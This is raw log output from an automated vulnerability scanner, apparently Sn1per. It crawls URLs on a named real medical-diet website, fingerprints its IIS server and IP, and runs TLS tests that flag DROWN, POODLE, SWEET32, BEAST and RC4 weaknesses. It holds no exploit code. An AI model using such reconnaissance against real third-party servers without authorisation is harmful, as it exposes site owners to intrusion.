|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Operation timed out after 5000 milliseconds with 14577 out of 20851 bytes received

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 36 / 63 ]-[23:36:52] [ - ] 
|_[ + ] Target:: [ http://www.doctorarik.co.il/index.php/adult/the-right-diet/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Microsoft-IIS/7.5  X-Powered-By: ASP.NET, IP:62.219.91.10:80 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Operation timed out after 5000 milliseconds with 10533 out of 26817 bytes received

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 37 / 63 ]-[23:36:58] [ - ] 
|_[ + ] Target:: [ http://www.doctorarik.co.il/index.php/child/mobile-links/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Microsoft-IIS/7.5  X-Powered-By: ASP.NET, IP:62.219.91.10:80 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 38 / 63 ]-[23:37:04] [ - ] 
|_[ + ] Target:: [ http://www.doctorarik.co.il/index.php/adult-articles/breakfastimportant/510/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Microsoft-IIS/7.5  X-Powered-By: ASP.NET, IP:62.219.91.10:80 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 39 / 63 ]-[23:37:09] [ - ] 
|_[ + ] Target:: [ http://www.doctorarik.co.il/index.php/adult/sport-for-diet/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Microsoft-IIS/7.5  X-Powered-By: ASP.NET, IP:62.219.91.10:80 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 40 / 63 ]-[23:37:15] [ - ] 
|_[ + ] Target:: [ http://www.doctorarik.co.il/index.php/adult-articles/healtheatright/588/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Microsoft-IIS/7.5  X-Powered-By: ASP.NET, IP:62.219.91.10:80 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 41 / 63 ]-[23:37:19] [ - ] 
|_[ + ] Target:: [ http://www.doctorarik.co.il/index.php/adult-articles/justcloths/208/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Microsoft-IIS/7.5  X-Powered-By: ASP.NET, IP:62.219.91.10:80 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 42 / 63 ]-[23:37:26] [ - ] 
|_[ + ] Target:: [ http://www.doctorarik.co.il/index.php/adult-articles/hardonwinter/214/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Microsoft-IIS/7.5  X-Powered-By: ASP.NET, IP:62.219.91.10:80 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 43 / 63 ]-[23:37:29] [ - ] 
|_[ + ] Target:: [ http://www.doctorarik.co.il/wp-login.php?action=lostpassword ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Microsoft-IIS/7.5  X-Powered-By: ASP.NET, IP:62.219.91.10:80 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 44 / 63 ]-[23:37:35] [ - ] 
|_[ + ] Target:: [ http://www.doctorarik.co.il/index.php/adult-articles/adult-article2/150/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Microsoft-IIS/7.5  X-Powered-By: ASP.NET, IP:62.219.91.10:80 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 45 / 63 ]-[23:37:42] [ - ] 
|_[ + ] Target:: [ http://www.doctorarik.co.il/index.php/adults-recipes/recipe-3/289/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Microsoft-IIS/7.5  X-Powered-By: ASP.NET, IP:62.219.91.10:80 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Operation timed out after 5000 milliseconds with 9185 out of 15884 bytes received

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 46 / 63 ]-[23:37:49] [ - ] 
|_[ + ] Target:: [ http://www.doctorarik.co.il/index.php/kids-recipes/kids_recipe-10/334/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Microsoft-IIS/7.5  X-Powered-By: ASP.NET, IP:62.219.91.10:80 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Operation timed out after 5000 milliseconds with 6489 out of 15976 bytes received

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 47 / 63 ]-[23:37:56] [ - ] 
|_[ + ] Target:: [ http://www.doctorarik.co.il/index.php/adults-recipes/recipe-6/298/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Microsoft-IIS/7.5  X-Powered-By: ASP.NET, IP:62.219.91.10:80 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Operation timed out after 5000 milliseconds with 6489 out of 16015 bytes received

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 48 / 63 ]-[23:38:02] [ - ] 
|_[ + ] Target:: [ http://www.doctorarik.co.il/index.php/adults-recipes/recipe-2/218/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Microsoft-IIS/7.5  X-Powered-By: ASP.NET, IP:62.219.91.10:80 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 49 / 63 ]-[23:38:07] [ - ] 
|_[ + ] Target:: [ http://www.doctorarik.co.il/index.php/kids-recipes/kids_recipe-8/330/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Microsoft-IIS/7.5  X-Powered-By: ASP.NET, IP:62.219.91.10:80 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 50 / 63 ]-[23:38:14] [ - ] 
|_[ + ] Target:: [ http://www.doctorarik.co.il/index.php/kids-recipes/kids_recipe-7/328/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Microsoft-IIS/7.5  X-Powered-By: ASP.NET, IP:62.219.91.10:80 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Operation timed out after 5000 milliseconds with 13229 out of 15375 bytes received

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 51 / 63 ]-[23:38:21] [ - ] 
|_[ + ] Target:: [ http://www.doctorarik.co.il/index.php/adult-articles/adult-article1/145/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Microsoft-IIS/7.5  X-Powered-By: ASP.NET, IP:62.219.91.10:80 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Operation timed out after 5000 milliseconds with 10533 out of 16848 bytes received

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 52 / 63 ]-[23:38:25] [ - ] 
|_[ + ] Target:: [ http://www.doctorarik.co.il/index.php/adults-recipes/recipe-5/296/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Microsoft-IIS/7.5  X-Powered-By: ASP.NET, IP:62.219.91.10:80 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 53 / 63 ]-[23:38:29] [ - ] 
|_[ + ] Target:: [ http://www.doctorarik.co.il/index.php/adults-recipes/recipe-7/300/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Microsoft-IIS/7.5  X-Powered-By: ASP.NET, IP:62.219.91.10:80 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 54 / 63 ]-[23:38:32] [ - ] 
|_[ + ] Target:: [ http://www.doctorarik.co.il/index.php/adults-recipes/recipe-10/307/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Microsoft-IIS/7.5  X-Powered-By: ASP.NET, IP:62.219.91.10:80 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 55 / 63 ]-[23:38:36] [ - ] 
|_[ + ] Target:: [ http://www.doctorarik.co.il/index.php/adults-recipes/recipe-9/305/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Microsoft-IIS/7.5  X-Powered-By: ASP.NET, IP:62.219.91.10:80 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 56 / 63 ]-[23:38:40] [ - ] 
|_[ + ] Target:: [ http://www.doctorarik.co.il/index.php/kids-recipes/kids_recipe-5/324/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Microsoft-IIS/7.5  X-Powered-By: ASP.NET, IP:62.219.91.10:80 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 57 / 63 ]-[23:38:43] [ - ] 
|_[ + ] Target:: [ http://www.doctorarik.co.il/index.php/adults-recipes/recipe-4/292/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Microsoft-IIS/7.5  X-Powered-By: ASP.NET, IP:62.219.91.10:80 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 58 / 63 ]-[23:38:47] [ - ] 
|_[ + ] Target:: [ http://www.doctorarik.co.il/index.php/adults-recipes/recipe-11/309/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Microsoft-IIS/7.5  X-Powered-By: ASP.NET, IP:62.219.91.10:80 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 59 / 63 ]-[23:38:51] [ - ] 
|_[ + ] Target:: [ http://www.doctorarik.co.il/index.php/kids-recipes/kids_recipe-11/336/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Microsoft-IIS/7.5  X-Powered-By: ASP.NET, IP:62.219.91.10:80 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 60 / 63 ]-[23:38:54] [ - ] 
|_[ + ] Target:: [ http://www.doctorarik.co.il/index.php/kids-recipes/kids_recipe-2/314/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Microsoft-IIS/7.5  X-Powered-By: ASP.NET, IP:62.219.91.10:80 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 61 / 63 ]-[23:38:58] [ - ] 
|_[ + ] Target:: [ http://www.doctorarik.co.il/index.php/adults-recipes/recipe-8/303/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Microsoft-IIS/7.5  X-Powered-By: ASP.NET, IP:62.219.91.10:80 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 62 / 63 ]-[23:39:02] [ - ] 
|_[ + ] Target:: [ http://www.doctorarik.co.il/index.php/kids-recipes/kids_recipe-3/316/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Microsoft-IIS/7.5  X-Powered-By: ASP.NET, IP:62.219.91.10:80 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

[ INFO ] [ Shutting down ]
[ INFO ] [ End of process INURLBR at [30-12-2017 23:39:02]
[ INFO ] [ TOTAL FILTERED VALUES ]:: [ 1 ]
[ INFO ] [ OUTPUT FILE ]:: [ /usr/share/sniper/output/inurlbr-doctorarik.co.il.txt  ]
|_________________________________________________________________________________________
http://www.doctorarik.co.il/20170629102001-nyv-472.html

\_________________________________________________________________________________________/

 + -- --=[Port 110 closed... skipping.
 + -- --=[Port 111 closed... skipping.
 + -- --=[Port 135 closed... skipping.
 + -- --=[Port 139 closed... skipping.
 + -- --=[Port 161 closed... skipping.
 + -- --=[Port 162 closed... skipping.
 + -- --=[Port 389 closed... skipping.
 + -- --=[Port 443 opened... running tests...
 + -- ----------------------------=[Checking for WAF]=------------------------ -- +

                                 ^     ^
        _   __  _   ____ _   __  _    _   ____
       ///7/ /.' \ / __////7/ /,' \ ,' \ / __/
      | V V // o // _/ | V V // 0 // 0 // _/
      |_n_,'/_n_//_/   |_n_,' \_,' \_,'/_/
                                <
                                 ...'

    WAFW00F - Web Application Firewall Detection Tool

    By Sandro Gauci && Wendel G. Henrique

Checking https://doctorarik.co.il

 + -- ----------------------------=[Checking Cloudflare]=--------------------- -- +
 + -- ----------------------------=[Gathering HTTP Info]=--------------------- -- +
https://doctorarik.co.il [404 Not Found] Country[ISRAEL][IL], HTTPServer[Microsoft-HTTPAPI/2.0], IP[62.219.91.10], Microsoft-HTTPAPI[2.0], Title[Not Found]

 + -- ----------------------------=[Gathering SSL/TLS Info]=------------------ -- +
Version: 1.11.10-static
OpenSSL 1.0.2-chacha (1.0.2g-dev)

Testing SSL server doctorarik.co.il on port 443 using SNI name doctorarik.co.il

  TLS Fallback SCSV:
Server does not support TLS Fallback SCSV

  TLS renegotiation:
Secure session renegotiation supported

  TLS Compression:
Compression disabled

  Heartbleed:
TLS 1.2 not vulnerable to heartbleed
TLS 1.1 not vulnerable to heartbleed
TLS 1.0 not vulnerable to heartbleed

  Supported Server Cipher(s):
Preferred TLSv1.0  128 bits  AES128-SHA
Accepted  TLSv1.0  256 bits  AES256-SHA
Accepted  TLSv1.0  128 bits  RC4-SHA                      
Accepted  TLSv1.0  112 bits  DES-CBC3-SHA                 
Accepted  TLSv1.0  128 bits  ECDHE-RSA-AES128-SHA          Curve P-256 DHE 256
Accepted  TLSv1.0  256 bits  ECDHE-RSA-AES256-SHA          Curve P-256 DHE 256
Accepted  TLSv1.0  128 bits  RC4-MD5                      
Preferred SSLv3    128 bits  RC4-SHA                      
Accepted  SSLv3    112 bits  DES-CBC3-SHA                 
Accepted  SSLv3    128 bits  RC4-MD5                      
Preferred SSLv2    128 bits  RC4-MD5                      
Accepted  SSLv2    112 bits  DES-CBC3-MD5                 

  SSL Certificate:
Signature Algorithm: sha256WithRSAEncryption
RSA Key Strength:    2048

Subject:  negba.dtnt.info
Altnames: DNS:negba.dtnt.info
Issuer:   thawte DV SSL CA - G2

Not valid before: Feb  5 00:00:00 2017 GMT
Not valid after:  Mar  7 23:59:59 2018 GMT

###########################################################
    testssl       2.9dev from https://testssl.sh/dev/

      This program is free software. Distribution and
             modification under GPLv2 permitted.
      USAGE w/o ANY WARRANTY. USE IT AT YOUR OWN RISK!

       Please file bugs @ https://testssl.sh/bugs/

###########################################################

 Using "OpenSSL 1.0.2-chacha (1.0.2i-dev)" [~183 ciphers]
 on Kali:/usr/share/sniper/plugins/testssl.sh/bin/openssl.Linux.x86_64
 (built: "Jun 22 19:32:29 2016", platform: "linux-x86_64")


 Start 2017-12-30 23:40:22        -->> 62.219.91.10:443 (doctorarik.co.il) <<--

 rDNS (62.219.91.10):    cust-62-219-91-10.cust.bezeqint.net.
 Service detected:       Couldn't determine what's running on port 443, assuming no HTTP service => skipping all HTTP checks


 Testing protocols via sockets except SPDY+HTTP2 

 SSLv2      offered (NOT ok), also VULNERABLE to DROWN attack -- 2 ciphers
 SSLv3      offered (NOT ok)
 TLS 1      offered
 TLS 1.1    not offered
 TLS 1.2    not offered -- strange, server closed TCP connection 
 TLS 1.3    not offered
 SPDY/NPN   not offered
 HTTP2/ALPN not offered

 Testing ~standard cipher categories 

 NULL ciphers (no encryption)                  not offered (OK)
 Anonymous NULL Ciphers (no authentication)    not offered (OK)
 Export ciphers (w/o ADH+NULL)                 not offered (OK)
 LOW: 64 Bit + DES encryption (w/o export)     not offered (OK)
 Weak 128 Bit ciphers (SEED, IDEA, RC[2,4])    offered (NOT ok)
 Triple DES Ciphers (Medium)                   offered
 High encryption (AES+Camellia, no AEAD)       offered (OK)
 Strong encryption (AEAD ciphers)              not offered


 Testing robust (perfect) forward secrecy, (P)FS -- omitting Null Authentication/Encryption, 3DES, RC4 

 PFS is offered (OK)          ECDHE-RSA-AES256-SHA ECDHE-RSA-AES128-SHA
 Elliptic curves offered:     prime256v1 secp384r1


 Testing server preferences 

 Has server cipher order?     yes (OK)
 Negotiated protocol          TLSv1
 Negotiated cipher            AES128-SHA
 Cipher order
    SSLv3:     RC4-SHA DES-CBC3-SHA RC4-MD5
    TLSv1:     AES128-SHA AES256-SHA RC4-SHA DES-CBC3-SHA ECDHE-RSA-AES128-SHA
               ECDHE-RSA-AES256-SHA RC4-MD5


 Testing server defaults (Server Hello) 

 TLS extensions (standard)    "status request/#5" "renegotiation info/#65281"
 Session Ticket RFC 5077 hint (no lifetime advertised)
 SSL Session ID support       yes
 Session Resumption           Tickets: yes, ID: yes
 TLS clock skew               -4 sec from localtime
 Signature Algorithm          SHA256 with RSA
 Server key size              RSA 2048 bits
 Fingerprint / Serial         SHA1 0BB7413C950A275DF33377BF39362D6DB2075E5C / 239E30BA064D957DE0A47B7B0508C258
                              SHA256 D4B63BA4B0EB88CB74B56246F047B7949CC3B770AFF2B9F510D98F9A51334E1A
 Common Name (CN)             negba.dtnt.info
 subjectAltName (SAN)         negba.dtnt.info 
 Issuer                       thawte DV SSL CA - G2 (thawte, Inc. from US)
 Trust (hostname)             certificate does not match supplied URI (same w/o SNI)
 Chain of trust               Ok   
 EV cert (experimental)       no
 Certificate Expiration       66 >= 60 days (2017-02-04 19:00 --> 2018-03-07 18:59 -0500)
 # of certificates provided   2
 Certificate Revocation List  http://tn.symcb.com/tn.crl
 OCSP URI                     http://tn.symcd.com
 OCSP stapling                offered
 OCSP must staple             no
 DNS CAA RR (experimental)    not offered
 Certificate Transparency     yes (certificate extension)


 Testing vulnerabilities 

 Heartbleed (CVE-2014-0160)                not vulnerable (OK), no heartbeat extension
 CCS (CVE-2014-0224)                       not vulnerable (OK)
 Ticketbleed (CVE-2016-9244), experiment.  --   (applicable only for HTTPS)
 ROBOT                                     not vulnerable (OK)
 Secure Renegotiation (CVE-2009-3555)      not vulnerable (OK)
 Secure Client-Initiated Renegotiation     not vulnerable (OK)
 CRIME, TLS (CVE-2012-4929)                not vulnerable (OK) (not using HTTP anyway)
 POODLE, SSL (CVE-2014-3566)               VULNERABLE (NOT ok), uses SSLv3+CBC (check TLS_FALLBACK_SCSV mitigation below)
 TLS_FALLBACK_SCSV (RFC 7507)              Downgrade attack prevention NOT supported and vulnerable to POODLE SSL
 SWEET32 (CVE-2016-2183, CVE-2016-6329)    VULNERABLE, uses 64 bit block ciphers
 FREAK (CVE-2015-0204)                     not vulnerable (OK)
 DROWN (CVE-2016-0800, CVE-2016-0703)      VULNERABLE (NOT ok), SSLv2 offered with 2 ciphers
                                           Make sure you don't use this certificate elsewhere, see:
                                           https://censys.io/ipv4?q=D4B63BA4B0EB88CB74B56246F047B7949CC3B770AFF2B9F510D98F9A51334E1A
 LOGJAM (CVE-2015-4000), experimental      not vulnerable (OK): no DH EXPORT ciphers, no DH key detected
 BEAST (CVE-2011-3389)                     SSL3: DES-CBC3-SHA 
                                           TLS1: AES128-SHA AES256-SHA
                                                 DES-CBC3-SHA
                                                 ECDHE-RSA-AES128-SHA
                                                 ECDHE-RSA-AES256-SHA 
                                           VULNERABLE -- and no higher protocols as mitigation supported
 LUCKY13 (CVE-2013-0169), experimental     potentially VULNERABLE, uses cipher block chaining (CBC) ciphers with TLS
 RC4 (CVE-2013-2566, CVE-2015-2808)        VULNERABLE (NOT ok): RC4-SHA RC4-MD5
                                                                RC4-MD5 


 Testing 364 ciphers via OpenSSL plus sockets against the server, ordered by encryption strength 

Hexcode  Cipher Suite Name (OpenSSL)       KeyExch.   Encryption  Bits     Cipher Suite Name (RFC)
-----------------------------------------------------------------------------------------------------------------------------
 xc014   ECDHE-RSA-AES256-SHA              ECDH 256   AES         256      TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
 x35     AES256-SHA                        RSA        AES         256      TLS_RSA_WITH_AES_256_CBC_SHA
 xc013   ECDHE-RSA-AES128-SHA              ECDH 256   AES         128      TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
 x2f     AES128-SHA                        RSA        AES         128      TLS_RSA_WITH_AES_128_CBC_SHA
 x05     RC4-SHA                           RSA        RC4         128      TLS_RSA_WITH_RC4_128_SHA
 x04     RC4-MD5                           RSA        RC4         128      TLS_RSA_WITH_RC4_128_MD5
 x010080 RC4-MD5                           RSA        RC4         128      SSL_CK_RC4_128_WITH_MD5
 x0a     DES-CBC3-SHA                      RSA        3DES        168      TLS_RSA_WITH_3DES_EDE_CBC_SHA
 x0700c0 DES-CBC3-MD5                      RSA        3DES        168      SSL_CK_DES_192_EDE3_CBC_WITH_MD5

Could not determine the protocol, only simulating generic clients.

 Running client simulations via sockets 

 Java 6u45                    TLSv1.0 AES128-SHA
 Java 7u25                    TLSv1.0 AES128-SHA
 Java 8u31                    TLSv1.0 AES128-SHA
 OpenSSL 1.0.1l               TLSv1.0 AES128-SHA
 OpenSSL 1.0.2e               TLSv1.0 AES128-SHA

 Done 2017-12-30 23:48:37 [ 498s] -->> 62.219.91.10:443 (doctorarik.co.il) <<--
#######################################################################################################################################